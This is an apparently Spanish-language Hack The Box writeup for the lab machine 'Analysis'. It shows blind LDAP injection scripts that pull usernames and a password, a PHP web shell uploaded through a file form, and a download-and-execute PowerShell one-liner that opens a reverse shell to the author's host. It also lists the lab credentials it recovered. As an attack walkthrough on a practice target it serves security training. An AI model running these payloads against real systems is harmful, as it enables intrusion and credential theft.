Hack The Box: Analysis Writeup | Hard

Table of Contents

Hack The Box: Analysis Writeup

Welcome to my detailed writeup of the hard difficulty machine “Analysis” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1$ rustscan -a 10.129.230.179 --ulimit 5000 -g
210.129.230.179 -> [53,80,88,135,139,389,445,464,593,3306,5985,9389,33060,47001,49666,49664,49667,49665,49671,49678,49679,49682,49691,49704,49717,49719]
 1$ nmap -p53,80,88,135,139,389,445,464,593,3306,5985,9389,33060,47001,49666,49664,49667,49665,49671,49678,49679,49682,49691,49704,49717,49719 -sCV 10.129.230.179 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-12 19:29 CEST
 3Nmap scan report for 10.129.230.179
 4Host is up (0.042s latency).
 5
 6PORT      STATE SERVICE       VERSION
 753/tcp    open  domain        Simple DNS Plus
 880/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
 9|_http-server-header: Microsoft-HTTPAPI/2.0
10|_http-title: Not Found
1188/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-08-12 15:30:00Z)
12135/tcp   open  msrpc         Microsoft Windows RPC
13139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
14389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
15445/tcp   open  microsoft-ds?
16464/tcp   open  kpasswd5?
17593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
183306/tcp  open  mysql         MySQL (unauthorized)
195985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
20|_http-server-header: Microsoft-HTTPAPI/2.0
21|_http-title: Not Found
229389/tcp  open  mc-nmf        .NET Message Framing
2333060/tcp open  mysqlx?
24| fingerprint-strings: 
25|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe: 
26|     Invalid message"
27|     HY000
28|   LDAPBindReq: 
29|     *Parse error unserializing protobuf message"
30|     HY000
31|   oracle-tns: 
32|     Invalid message-frame."
33|_    HY000
3447001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
35|_http-title: Not Found
36|_http-server-header: Microsoft-HTTPAPI/2.0
3749664/tcp open  msrpc         Microsoft Windows RPC
3849665/tcp open  msrpc         Microsoft Windows RPC
3949666/tcp open  msrpc         Microsoft Windows RPC
4049667/tcp open  msrpc         Microsoft Windows RPC
4149671/tcp open  msrpc         Microsoft Windows RPC
4249678/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
4349679/tcp open  msrpc         Microsoft Windows RPC
4449682/tcp open  msrpc         Microsoft Windows RPC
4549691/tcp open  msrpc         Microsoft Windows RPC
4649704/tcp open  msrpc         Microsoft Windows RPC
4749717/tcp open  msrpc         Microsoft Windows RPC
4849719/tcp open  msrpc         Microsoft Windows RPC
491 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
50SF-Port33060-TCP:V=7.94SVN%I=7%D=8/12%Time=66BA467F%P=x86_64-pc-linux-gnu%
51SF:r(GenericLines,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GetRequest,9,"\x05\0
52SF:\0\0\x0b\x08\x05\x1a\0")%r(HTTPOptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0"
53SF:)%r(RTSPRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\
54SF:0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2B,"\x05\0\0\0\x0b\x08\x0
55SF:5\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05H
56SF:Y000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SSLSessionReq,2B,"\x0
57SF:5\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid
58SF:\x20message\"\x05HY000")%r(TerminalServerCookie,9,"\x05\0\0\0\x0b\x08\x
59SF:05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x
60SF:01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(Kerberos,9
61SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9,"\x05\0\0\0\x0b\x08\x05
62SF:\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\
63SF:x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(FourOhFourRequest
64SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,9,"\x05\0\0\0\x0b\x08\x0
65SF:5\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x0
66SF:1\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(LDAPBindReq
67SF:,46,"\x05\0\0\0\x0b\x08\x05\x1a\x009\0\0\0\x01\x08\x01\x10\x88'\x1a\*Pa
68SF:rse\x20error\x20unserializing\x20protobuf\x20message\"\x05HY000")%r(SIP
69SF:Options,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LANDesk-RC,9,"\x05\0\0\0\x0
70SF:b\x08\x05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(
71SF:NCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC,2B,"\x05\0\0\0\x0b\x08
72SF:\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x
73SF:05HY000")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(WMSRequest,9,"\
74SF:x05\0\0\0\x0b\x08\x05\x1a\0")%r(oracle-tns,32,"\x05\0\0\0\x0b\x08\x05\x
75SF:1a\0%\0\0\0\x01\x08\x01\x10\x88'\x1a\x16Invalid\x20message-frame\.\"\x0
76SF:5HY000")%r(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(giop,9,"\x05\0\
77SF:0\0\x0b\x08\x05\x1a\0");
78Service Info: Host: DC-ANALYSIS; OS: Windows; CPE: cpe:/o:microsoft:windows
79
80Host script results:
81| smb2-time: 
82|   date: 2024-08-12T15:30:55
83|_  start_date: N/A
84| smb2-security-mode: 
85|   3:1:1: 
86|_    Message signing enabled and required
87|_clock-skew: -1h59m30s
88
89Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
90Nmap done: 1 IP address (1 host up) scanned in 70.94 second

UDP Enumeration

 1$ sudo nmap --top-ports 1500 10.129.230.179 -sU --min-rate 5000 -n -Pn -oN allPorts.UDP
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-12 19:36 CEST
 3Nmap scan report for 10.129.230.179
 4Host is up (0.042s latency).
 5Not shown: 1497 open|filtered udp ports (no-response)
 6PORT      STATE  SERVICE
 788/udp    open   kerberos-sec
 8123/udp   open   ntp
 918985/udp closed unknown
10
11Nmap done: 1 IP address (1 host up) scanned in 1.00 seconds

Añadimos el dominio analysis.htb al /etc/hosts

Vemos los típicos puertos abiertos en un DC, LDAP, RPC, SMB… Pero a parte vemos el puerto 3306/TCP correspondiente a MySQL, para tenerlo en cuenta.

Enumerating SMB

 1$ smbclient -L \\10.129.230.179 -U -N 
 2Password for [WORKGROUP\-N]:
 3┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/analysis/scan]
 4└──╼ [★]$ smbclient -L \\10.129.230.179 -U '' -N 
 5
 6	Sharename       Type      Comment
 7	---------       ----      -------
 8Reconnecting with SMB1 for workgroup listing.
 9do_connect: Connection to 10.129.230.179 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
10Unable to connect with SMB1 -- no workgroup available

Por ahora no podemos hacer enumerar mediante SMB sin credenciales válidas.

RPC Enumeration

1$ rpcclient -U "" 10.129.230.179 -N
2rpcclient $> enumdomusers
3result was NT_STATUS_ACCESS_DENIED
4rpcclient $> enumdomgroups
5result was NT_STATUS_ACCESS_DENIED

Lo mismo mediante RPC.

DNS Enumeration

Siempre que me enfrento contra un servidor DNS, me gusta enumerar subdominios realizando un ataque de fuerza bruta con dnsenum

Descubrimos el NS dc-analysis.analysis.htb y un dominio adicional internal.analysis.htb.

 1$ dnsenum -f /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt --dnsserver 10.129.230.179 analysis.htb
 2dnsenum VERSION:1.2.6
 3
 4-----   analysis.htb   -----
 5
 6
 7Host's addresses:
 8__________________
 9
10analysis.htb.                            600      IN    A        10.129.230.179
11
12
13Name Servers:
14______________
15
16dc-analysis.analysis.htb.                3600     IN    A        10.129.230.179
17
18
19Mail (MX) Servers:
20___________________
21
22
23
24Trying Zone Transfers and getting Bind Versions:
25_________________________________________________
26
27unresolvable name: dc-analysis.analysis.htb at /usr/bin/dnsenum line 900.
28
29Trying Zone Transfer for analysis.htb on dc-analysis.analysis.htb ... 
30AXFR record query failed: no nameservers
31
32
33Brute forcing with /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt:
34__________________________________________________________________________________
35
36www.analysis.htb.                        3600     IN    A        192.168.1.100
37internal.analysis.htb.                   3600     IN    A        192.168.1.100
38gc._msdcs.analysis.htb.                  600      IN    A        10.129.230.179

Alternativamente también podríamos haber descubierto el NS con dig

 1$ dig NS analysis.htb @10.129.230.179
 2
 3; <<>> DiG 9.18.24-1-Debian <<>> NS analysis.htb @10.129.230.179
 4;; global options: +cmd
 5;; Got answer:
 6;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44364
 7;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 2
 8
 9;; OPT PSEUDOSECTION:
10; EDNS: version: 0, flags:; udp: 4000
11;; QUESTION SECTION:
12;analysis.htb.			IN	NS
13
14;; ANSWER SECTION:
15analysis.htb.		3600	IN	NS	dc-analysis.analysis.htb.
16
17;; ADDITIONAL SECTION:
18dc-analysis.analysis.htb. 3600	IN	A	10.129.230.179
19
20;; Query time: 36 msec
21;; SERVER: 10.129.230.179#53(10.129.230.179) (UDP)
22;; WHEN: Mon Aug 12 19:48:19 CEST 2024
23;; MSG SIZE  rcvd: 83

LDAP Enumeration

 1$ ldapsearch -x -H ldap://10.129.230.179 -D '' -w '' -b "DC=internal,DC=analysis,DC=htb"
 2# extended LDIF
 3#
 4# LDAPv3
 5# base <DC=internal,DC=analysis,DC=htb> with scope subtree
 6# filter: (objectclass=*)
 7# requesting: ALL
 8#
 9
10# search result
11search: 2
12result: 1 Operations error
13text: 000004DC: LdapErr: DSID-0C090CF4, comment: In order to perform this opera
14 tion a successful bind must be completed on the connection., data 0, v4563
15
16# numResponses: 1

Por LDAP sin credenciales tampoco conseguimos nada.

HTTP Enumeration

1$ whatweb http://analysis.htb
2http://analysis.htb [200 OK] Country[RESERVED][ZZ], Email[mail@demolink.org,privacy@demolink.org], HTTPServer[Microsoft-IIS/10.0], IP[10.129.230.179], JQuery, Microsoft-IIS[10.0], Script[text/javascript]
3┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/analysis/scan]
4└──╼ [★]$ whatweb http://internal.analysis.htb
5http://internal.analysis.htb [403 Forbidden] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.129.230.179], Microsoft-IIS[10.0], Title[403 - Interdit�: acc�s refus�.]

Vemos que internal.analysis.htb y analysis.htb devuelven información distinta por lo cual podemos deducir que se está aplicando virtual hosting por detrás.

Enumerating analysis.htb

Esta es la pinta del sitio web. Write-up Image

Detectamos un nombre de usuario.

Write-up Image

También encontramos un archivo PHP que se le manda varia data por POST. Write-up Image

Si intentamos mandar una solicitud POST con la data que vemos en el script JS, vemos lo siguiente.

Un error 500 pero en francés. Esto hay que tenerlo en cuenta ya que cuentas de sistema como la cuenta de Administrador, puede que se llame Administrateur

 1$ curl -X POST http://analysis.htb/bat/MailHandler.php --data "name=holaholahola&state=holahgolaholah&phone=7227272722&fax=722727272&message=hjolhoalhaoh"
 2<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
 3<html xmlns="http://www.w3.org/1999/xhtml">
 4<head>
 5<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
 6<title>500 - Erreur interne au serveur.</title>
 7<style type="text/css">
 8<!--
 9body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
10fieldset{padding:0 15px 10px 15px;} 
11h1{font-size:2.4em;margin:0;color:#FFF;}
12h2{font-size:1.7em;margin:0;color:#CC0000;} 
13h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} 
14#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;
15background-color:#555555;}
16#content{margin:0 0 0 2%;position:relative;}
17.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}
18-->
19</style>
20</head>
21<body>
22<div id="header"><h1>Erreur de serveur</h1></div>
23<div id="content">
24 <div class="content-container"><fieldset>
25  <h2>500 - Erreur interne au serveur.</h2>
26  <h3>La ressource que vous recherchez pr�sente un probl�me, elle ne peut donc pas �tre affich�e.</h3>
27 </fieldset></div>
28</div>
29</body>
30</html>

No encuentro nada relevante sobre este archivo.

Enumerating internal.analysis.htb

Con feroxbuster podemos encontrar varias rutas que puede que nos interese.

1301      GET        2l       10w      170c http://internal.analysis.htb/users => http://internal.analysis.htb/users/
2301      GET        2l       10w      174c http://internal.analysis.htb/dashboard => http://internal.analysis.htb/dashboard/
3301      GET        2l       10w      170c http://internal.analysis.htb/Users => http://internal.analysis.htb/Users/
4301      GET        2l       10w      174c http://internal.analysis.htb/employees => http://internal.analysis.htb/employees/
5301      GET        2l       10w      174c http://internal.analysis.htb/Dashboard => http://internal.analysis.htb/Dashboard/

Después de fuzzear un rato, encontramos algunos recursos interesantes bajo /dashboard. Write-up Image

Y encontramos algo que me llama mucho la atención en /users Write-up Image

Me pide un parámetro. Write-up Image

Esto nos viene perfectos ya que como kerberos está abierto, quizás podemos listar usuarios y pensar en algún vector de ataque.

Solo falta descubrir cual es el parámetro que necesita, así que con wfuzz vamos a fuzzear los parámetros.

 1$ wfuzz --hh=17 -c -w /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u 'http://internal.analysis.htb/users/list.php?FUZZ=loquesea'
 2 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
 3********************************************************
 4* Wfuzz 3.1.0 - The Web Fuzzer                         *
 5********************************************************
 6
 7Target: http://internal.analysis.htb/users/list.php?FUZZ=loquesea
 8Total requests: 6453
 9
10=====================================================================
11ID           Response   Lines    Word       Chars       Payload                  
12=====================================================================
13
14000003598:   200        0 L      11 W       406 Ch      "name"

Y encontramos el parámetro name

Write-up Image

Ahora bien, debo de saber que nombres de usuario hay que introducir para ver su información así que estamos en las mismas.

Pero por detrás se debe de estar haciendo alguna consulta a una base de datos.

LDAP Injection

Tras probar varios payloads para una SQLi, probé el asterisco * y me devolvió un usuario. Esto es un indicio de que por detrás se están haciendo consultas por LDAP. Write-up Image

Vamos a scriptear esto con python para descubrir usuarios.

Esta es la primera versión del script para buscar usuarios.

 1#!/usr/bin/python3
 2import requests
 3import string
 4import html2text
 5import os
 6import re
 7import signal
 8from pwn import *
 9from itertools import product
10
11base_url = "http://internal.analysis.htb/users/list.php"
12
13charset = string.ascii_lowercase  # a-z
14
15h2t = html2text.HTML2Text()
16h2t.ignore_linkgs = True
17
18user_regex = re.compile(r'<strong>(.*?)</strong>')
19
20users = []
21
22def def_handler(x,y):
23    log.info("Saliendo..")
24    log.info(f"Usuarios recuperados {len(users)}")
25    for user in users:
26        print(user)
27    exit(1)
28
29signal.signal(signal.SIGINT,def_handler)
30
31def check_user(prefix):
32    url = f"{base_url}?name={prefix}*"
33    response = requests.get(url)
34
35    if "CONTACT_" not in response.text:
36        name = user_regex.search(response.text).group(1)
37        print(f"Found user with prefix '{prefix}': | user -> {name}")
38        print(h2t.handle(response.text))
39        users.append(name)
40        return True
41    return False
42
43def enumerate_users():
44    p = log.progress("Probando")
45    for length in range(1, 9):
46        for prefix in product(charset, repeat=length):
47            prefix_str = ''.join(prefix)
48            p.status(prefix_str)
49            check_user(prefix_str)
50
51if __name__ == "__main__":
52    log.info("Iniciando fuerza bruta")
53    enumerate_users()

Después de esperar un rato recuperamos algunos usuarios.

 1Found user with prefix 'te': | user -> technician
 2## Search result  
 3  
 4Username| Last Name| First Name| Company| Department| Office Phone| Fax|
 5Mobile| DDI| E-Mail Address| Home Phone  
 6---|---|---|---|---|---|---|---|---|---|---  
 7**technician**| |  technician| | | | | | | | 
 8
 9
10[*] Saliendo..
11[*] Usuarios recuperados 10
12amanson
13badam
14jangel
15lzen
16technician
17amanson
18badam
19jangel
20lzen
21technician

Quitando los duplicados.

1$ sort users.dup.txt | uniq > users.txt
2┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/analysis/content]
3└──╼ [★]$ cat users.txt
4amanson
5badam
6jangel
7lzen
8pleazkin
9technician

Podemos confirmar que estos usuarios son válidos a nivel de sistema con kerbrute

 1$ /opt/kerbrute userenum --dc 10.129.230.179 -d analysis.htb  users.txt
 2
 3    __             __               __     
 4   / /_____  _____/ /_  _______  __/ /____ 
 5  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 6 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
 7/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        
 8
 9Version: v1.0.3 (9dad6e1) - 08/12/24 - Ronnie Flathers @ropnop
10
112024/08/12 20:39:37 >  Using KDC(s):
122024/08/12 20:39:37 >  	10.129.230.179:88
13
142024/08/12 20:39:37 >  [+] VALID USERNAME:	 amanson@analysis.htb
152024/08/12 20:39:37 >  [+] VALID USERNAME:	 badam@analysis.htb
162024/08/12 20:39:37 >  [+] VALID USERNAME:	 lzen@analysis.htb
172024/08/12 20:39:37 >  [+] VALID USERNAME:	 jangel@analysis.htb
182024/08/12 20:39:37 >  [+] VALID USERNAME:	 technician@analysis.htb
192024/08/12 20:39:37 >  Done! Tested 6 usernames (5 valid) in 0.043 seconds

Podemos probar a solicitar un ticket TGT pero esto no sirve..

1$ impacket-GetNPUsers -no-pass -usersfile users.txt analysis.htb/
2Impacket v0.11.0 - Copyright 2023 Fortra
3
4[-] User amanson doesn't have UF_DONT_REQUIRE_PREAUTH set
5[-] User badam doesn't have UF_DONT_REQUIRE_PREAUTH set
6[-] User jangel doesn't have UF_DONT_REQUIRE_PREAUTH set
7[-] User lzen doesn't have UF_DONT_REQUIRE_PREAUTH set
8[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
9[-] User technician doesn't have UF_DONT_REQUIRE_PREAUTH set

Por lo cual, podemos intentar recuperar el campo description que existe por defecto para ver si contiene algo para cada usuario.

Primero debemos fabricar nuestro payload.

Después de un rato probando (no tengo mucha experiencia en inyecciones LDAP), encontramos lo siguiente.

Este payload me devuelve algo: *)(description=*

Write-up Image

Pero este otro payload no *)(description=A Write-up Image

Esto significa que tenemos una inyección a ciegas, y podemos filtrar la descripción de cada usuario.

Falta scriptearlo. Si esto no funciona, podemos modificar el script para descubrir campos que quizás nos interesen.

Primero me interesa saber que usuarios tienen una descripción.

 1#!/usr/bin/python3
 2import requests
 3from pwn import *
 4import string
 5
 6URL = "http://internal.analysis.htb/users/list.php?name=<USER>)(description=<DESC>"
 7DEFAULT_LEN = 406
 8alphabet = string.ascii_letters + string.digits + "_@{}-/!\"$%=^[]:;"
 9
10def brute(user):
11    forged_url = URL.replace("<USER>", user)
12    p = log.progress("Probando carácter ->")
13    for char in alphabet:
14        p.status(char)
15        r = requests.get(forged_url.replace("<DESC>", char + "*"))
16        if (len(r.text) != DEFAULT_LEN):
17            p.success("El usuario %s tiene descripción" % user)
18    
19
20def desc():
21    with open('users.txt', 'r', encoding="utf-8") as file:
22        p = log.progress("Usuario ->")
23        for user in file:
24            username = user.strip()
25            p.status(username)
26            brute(username)
27            
28            
29
30if __name__ == "__main__":
31    desc()

Vemos que el usuario technician es el único que tiene descripción.

1$ python3 description.py 
2[↓] Usuario ->: technician
3[ ] Probando carácter ->: ;
4[.\......] Probando carácter ->: ;
5[0] Probando carácter ->: ;
6[◣] Probando carácter ->: ;
7[◑] Probando carácter ->: ;
8[+] Probando carácter ->: El usuario technician tiene descripción

Ahora este es el script para bruteforcear la descripción.

 1#!/usr/bin/python3
 2import requests
 3from pwn import *
 4import string
 5
 6URL = "http://internal.analysis.htb/users/list.php?name=<USER>)(description=<DESC>"
 7DEFAULT_LEN = 406
 8alphabet = string.ascii_letters + string.digits + "_@{}-/!\"$%=^[]:;"
 9
10def brute(user, known_prefix=""):
11    forged_url = URL.replace("<USER>", user)
12    description = known_prefix
13
14    p = log.progress("Probando carácter ->")
15    while True:
16        found_char = False
17
18        for char in alphabet:
19            p.status(description+char)
20            r = requests.get(forged_url.replace("<DESC>", description + char + "*"))
21            if len(r.text) != DEFAULT_LEN:
22                description += char
23                found_char = True
24                break  # Salir del bucle interno
25
26        if not found_char:
27            p.success(f"Descripción final descubierta: {description}")
28            break  # Salir del bucle externo
29
30def desc():
31    p = log.progress("Usuario ->")
32    username = "technician"
33    p.status(username)
34    brute(username)
35
36if __name__ == "__main__":
37    desc()

Si lo dejamos un rato..

1$ python3 description.py 
2[▃] Usuario ->: technician
3[+] Probando carácter ->: Descripción final descubierta: 97NTtl

Pero esta credencial es inválida.

1$ nxc smb 10.129.230.179 -u technician -p 97NTtl
2SMB         10.129.230.179  445    DC-ANALYSIS      [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-ANALYSIS) (domain:analysis.htb) (signing:True) (SMBv1:False)
3SMB         10.129.230.179  445    DC-ANALYSIS      [-] analysis.htb\technician:97NTtl STATUS_LOGON_FAILURE

He omitido los caracteres ( ) y * porque rompían la inyección, por lo cual supongo que la credencial contiene alguno de estos caracteres.

Write-up Image

Añado el carácter *. El problema es que puede dar falsos positivos, si esto es así, bruteforcearé luego con netexec los posibles campos que falten.

1$ python3 description.py 
2[d] Usuario ->: technician
3[↗] Probando carácter ->: 97NTtl*4QP96Bv**aaaaaaaaaaa

La a surge ya que la consulta por LDAP se rompe al introducir doble *. Por lo cual podemos probar como credencial 97NTtl*4QP96Bv

¡Y es válida!

1$ nxc smb 10.129.230.179 -u technician -p '97NTtl*4QP96Bv'
2SMB         10.129.230.179  445    DC-ANALYSIS      [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-ANALYSIS) (domain:analysis.htb) (signing:True) (SMBv1:False)
3SMB         10.129.230.179  445    DC-ANALYSIS      [+] analysis.htb\technician:97NTtl*4QP96Bv

Este usuario no está en el grupo de Remote Management Users por lo cual no podemos conseguir una consola interactiva utilizando herramientas como evil-winrm

1$ nxc winrm 10.129.230.179 -u technician -p '97NTtl*4QP96Bv'
2WINRM       10.129.230.179  5985   DC-ANALYSIS      [*] Windows 10 / Server 2019 Build 17763 (name:DC-ANALYSIS) (domain:analysis.htb)
3WINRM       10.129.230.179  5985   DC-ANALYSIS      [-] analysis.htb\technician:97NTtl*4QP96Bv

Por SMB tampoco vemos ningún recurso compartido a nivel de red interesante.

 1$ nxc smb 10.129.230.179 -u technician -p '97NTtl*4QP96Bv' --shares
 2SMB         10.129.230.179  445    DC-ANALYSIS      [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-ANALYSIS) (domain:analysis.htb) (signing:True) (SMBv1:False)
 3SMB         10.129.230.179  445    DC-ANALYSIS      [+] analysis.htb\technician:97NTtl*4QP96Bv
 4SMB         10.129.230.179  445    DC-ANALYSIS      [*] Enumerated shares
 5SMB         10.129.230.179  445    DC-ANALYSIS      Share           Permissions     Remark
 6SMB         10.129.230.179  445    DC-ANALYSIS      -----           -----------     ------
 7SMB         10.129.230.179  445    DC-ANALYSIS      ADMIN$                          Administration à distance
 8SMB         10.129.230.179  445    DC-ANALYSIS      C$                              Partage par défaut
 9SMB         10.129.230.179  445    DC-ANALYSIS      IPC$            READ            IPC distant
10SMB         10.129.230.179  445    DC-ANALYSIS      NETLOGON        READ            Partage de serveur d'accès
11SMB         10.129.230.179  445    DC-ANALYSIS      SYSVOL          READ            Partage de serveur d'accès

Pero tenemos unas credenciales.

Enumerating HTTP (again)

Al no ver nada interesante con estas credenciales, podemos seguir enumerando internal.analysis.htb ya que antes enumeré mas profundamente los recursos /users y /dashboard pero me falta /employees

1$ feroxbuster -u http://internal.analysis.htb/employees/ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100 -x php,asp,aspx

Y encontramos un recurso login.php

1200      GET       30l       60w     1085c http://internal.analysis.htb/employees/login.php

Write-up Image

Pide el email para iniciar sesión Probando technician@analysis.htb:97NTtl*4QP96Bv podemos iniciar sesión. Write-up Image

Vemos una sección Messages donde algunos usuarios se están quejando de que el servidor va lento, puede ser por el fuzzeo que hemos realizado. Me gusta el realismo que han aplicado en esta máquina. Write-up Image

Vemos algunos To Dos, por lo que veo existe algún sistema de tickets detrás, y el recordatorio mas importante de aquí es que se están quejando de que no tienen café en las oficinas. Write-up Image

Podemos ver tickets. Write-up Image

Los mas relevantes este que menciona problemas con un ticket TGT. Write-up Image

Y este en el cual un usuario se queja de que no puede ejecutar un archivo HTA, hay tenerlo en cuenta ya que podríamos fabricar un archivo HTA malicioso y que este usuario al ejecutarlo nos mande una consola interactiva. Write-up Image

Luego vemos que tenemos una subida de archivos que supuestamente, lo que subamos será analizado por el equipo de SOC. Si Clara Williams pertenece a este equipo, quizás ejecute un archivo HTA si lo subimos. Write-up Image

También vemos un panel que se enviará a un usuario, podríamos probar XSS aquí. Write-up Image

Foothold

Vamos a probar a subir un archivo .hta

Creamos el payload con msfvenom

1$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.13 LPORT=443 -f hta-psh > shell.hta
2[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
3[-] No arch selected, selecting arch: x86 from the payload
4No encoder specified, outputting raw payload
5Payload size: 324 bytes
6Final size of hta-psh file: 7407 bytes

Pero al enviar el archivo no recibimos la shell…

Alternativamente podemos crear un archivo info.php

1<?php
2	phpinfo();
3?>

Y al subirlo, podemos ver que el archivo existe en la ruta /dashboard/uploads/info.php Write-up Image

No existen disable_functions Write-up Image

Creamos una web_shell…

1<?php
2	echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>";
3?>

Y conseguimos ejecución remota de comandos. Write-up Image

Ahora para mandarnos la consola utilizamos el script Invoke-PowerShellTcp.ps1 de nishang Y a lo último del script añadimos esta línea. Write-up Image

Servimos este archivo con python por el puerto 8081.

1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...

Ahora utilizamos este one-liner para descargar y ejecutar el script. http://internal.analysis.htb/dashboard/uploads/shell.php?cmd=echo%20IEX(New-Object%20Net.WebClient).DownloadString(%27http://10.10.14.13:8081/Invoke-PowerShellTcp.ps1%27)%20|%20powershell%20-noprofile%20-

Y…

110.129.230.179 - - [12/Aug/2024 22:03:22] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -
1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.13] from (UNKNOWN) [10.129.230.179] 62413
4Windows PowerShell running as user DC-ANALYSIS$ on DC-ANALYSIS
5Copyright (C) 2015 Microsoft Corporation. All rights reserved.
6
7PS C:\inetpub\internal\dashboard\uploads>whoami
8analysis\svc_web

Podemos ver que el sistema está en francés, así que cuidado con el nombre de cuentas de usuario. Write-up Image

De hecho podemos comprobar el nombre de la cuenta del administrador. Write-up Image

User Pivoting | jdoe

Pasando el winPEASx64.exe encontramos unas credenciales en el autologon para el usuario jdoe

Write-up Image

1$ nxc smb analysis.htb -u 'jdoe' -p '7y4Z4^*y9Zzj'
2SMB         10.129.230.179  445    DC-ANALYSIS      [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-ANALYSIS) (domain:analysis.htb) (signing:True) (SMBv1:False)
3SMB         10.129.230.179  445    DC-ANALYSIS      [+] analysis.htb\jdoe:7y4Z4^*y9Zzj

Comprobamos que son válidas..

1$ nxc winrm analysis.htb -u 'jdoe' -p '7y4Z4^*y9Zzj'
2WINRM       10.129.230.179  5985   DC-ANALYSIS      [*] Windows 10 / Server 2019 Build 17763 (name:DC-ANALYSIS) (domain:analysis.htb)
3WINRM       10.129.230.179  5985   DC-ANALYSIS      [+] analysis.htb\jdoe:7y4Z4^*y9Zzj (Pwn3d!)

Y está en el grupo Remote Management Users por lo cual con evil-winrm..

 1$ evil-winrm -i 10.129.230.179 -u jdoe -p '7y4Z4^*y9Zzj'
 2                                        
 3Evil-WinRM shell v3.5
 4                                        
 5Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
 6                                        
 7Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
 8                                        
 9Info: Establishing connection to remote endpoint
10*Evil-WinRM* PS C:\Users\jdoe\Documents> whoami
11analysis\jdoe

